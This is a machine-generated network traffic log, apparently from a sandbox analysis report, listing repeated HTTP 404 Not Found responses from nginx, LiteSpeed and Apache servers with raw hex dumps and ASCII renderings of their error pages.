                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.6.2Date: Thu, 05 Dec 2024 13:08:27 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T*$'*gd*HN+I-0D7(bTgU!2S>0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.6.2Date: Thu, 05 Dec 2024 13:08:29 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T*$'*gd*HN+I-0D7(bTgU!2S>0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.6.2Date: Thu, 05 Dec 2024 13:08:32 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T*$'*gd*HN+I-0D7(bTgU!2S>0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.6.2Date: Thu, 05 Dec 2024 13:08:35 GMTContent-Type: text/htmlContent-Length: 168Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.6.2</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachedate: Thu, 05 Dec 2024 13:08:42 GMTserver: LiteSpeedcontent-encoding: gzipvary: Accept-Encodingtransfer-encoding: chunkedconnection: closeData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a Data Ascii: a
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachedate: Thu, 05 Dec 2024 13:08:44 GMTserver: LiteSpeedcontent-encoding: gzipvary: Accept-Encodingtransfer-encoding: chunkedconnection: closeData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e a7 70 31 12 28 97 c2 67 49 1c bf 1d 85 5f c8 38 7d 5a f4 0c 34 6b 29 60 2d 71 d3 19 eb 47 50 1b ed 51 fb c5 68 23 b9 17 0b 8e 6b 59 63 d4 0f c6 20 b5 f4 92 a9 c8 d5 8c 60 93 31 38 61 a5 be 8f bc 89 1a e9 17 da 04 74 2f bd c2 12 d2 38 85 9f c6 c3 57 b3 d2 fc cd 59 31 1d e6 8b 9e 52 f9 a1 45 2e 19 5c 76 16 1b b4 2e aa 8d 32 96 70 05 b6 98 71 66 ef af 1e 2a c3 77 0f 15 ab ef 97 36 40 0c 21 d9 45 1c c7 e7 b2 0d 64 99 f6 8f 8f c5 74 00 2c a6 fb ac c2 b2 43 de c3 12 b8 48 d3 34 87 96 d9 a5 d4 59 9c 37 94 62 06 da d8 96 29 48 d2 6e 3b 9d c5 dd 16 3e 5a 4a 6d 0c df 50 ad d1 cb 9a 51 76 4c bb c8 a1 95 4d 0e 27 12 e6 f0 8a 15 5c 34 4d 93 87 ec b9 5c bf 50 9d ad bc a1 dd a5 8e 9e 61 8c 4a 08 cf e9 02 8f 5b 1f 31 25 97 3a 83 9a 4c 40 9b 43 af 7c f6 3e 26 86 87 14 22 85 0d 25 10 a5 c3 64 67 1c b9 62 74 c6 2a 67 d4 ca 63 0e de 74 19 5c 87 5d fa d0 39 f5 88 1b ec 9f 42 24 87 1d 8f 9a 40 10 25 72 f2 1f 66 c9 bc 87 55 52 e3 91 f1 30 d5 c7 6c 86 a9 ca 28 4e a0 e4 32 29 9f 84 a2 9a 3d 07 8d 02 89 20 6c fe 04 4d 9c 68 3c 2a 9f d5 85 98 d1 ea ae bc 13 08 16 9d 59 d9 3a 74 fe ae d0 79 e4 54 8f 2b c5 c9 2c 0f 15 12 01 5a 03 46 83 17 d2 01 39 b3 46 7b 5e 4c 3b 02 98 92 8e e5 fe 7d 22 e9 be 68 9a 38 b4 67 59 ce 88 c9 3e fd de a1 8e 71 2e f5 32 0b a5 10 68 c2 a1 93 1f 05 b6 a8 98 97 6b cc 6b 85 cc 92 04 5e e4 4f 9e 1e f1 fa cc a3 24 4e 68 e6 75 fd a6 ef 42 cb 2b 63 39 da 3e 14 28 10 c8 3a c9 c1 2e 2b 76 19 8f fb 36 49 e6 57 14 b6 8d 9c 60 dc 6c 32 88 fb c0 78 08 9a cd e7 63 78 7a c5 93 eb 2b 3a 9e 0e 7d 5f 85 95 2d 6f 68 57 ae 76 54 1e 1b b4 24 64 b5 83 1f d2 e3 6d 87 34 f8 8d 15 dc f6 f2 91 f2 37 94 8d c3 a0 2f e3 6b e9 e8 b7 17 cc 9f 44 df 61 2d 34 b1 5f 4a 74 f0 5d d7 13 20 f5 83 25 0c 36 04 24 8c f3 a4 1c 59 d5 76 4c ef 80 69 3e 06 46 fe ac 6a ba 33 04 0b b1 fd bd 62 8d 02 43 7b 1e 2e 99 97 7e d2 86 93 e0 e6 c1 cc 70 94 c3 c1 ee 2f b4 ff 0d 2b 0f 61 e1 04 00 00 0d 0a Data Ascii: a2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4Y7b)Hn;>ZJmPQvLM'\4M\PaJ[1%:L@C|>&"%dgbt*gct\]9B$@%rfUR0l(N2)= lMh<*Y:tyT+,ZF9F{^L;}"h8gY>q.2hkk^O$Nhu
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachedate: Thu, 05 Dec 2024 13:08:47 GMTserver: LiteSpeedcontent-encoding: gzipvary: Accept-Encodingtransfer-encoding: chunkedconnection: closeData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a Data Ascii: a
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachecontent-length: 1249date: Thu, 05 Dec 2024 13:08:50 GMTserver: LiteSpeedconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 13:08:56 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 13:08:59 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 13:09:02 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 13:09:05 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 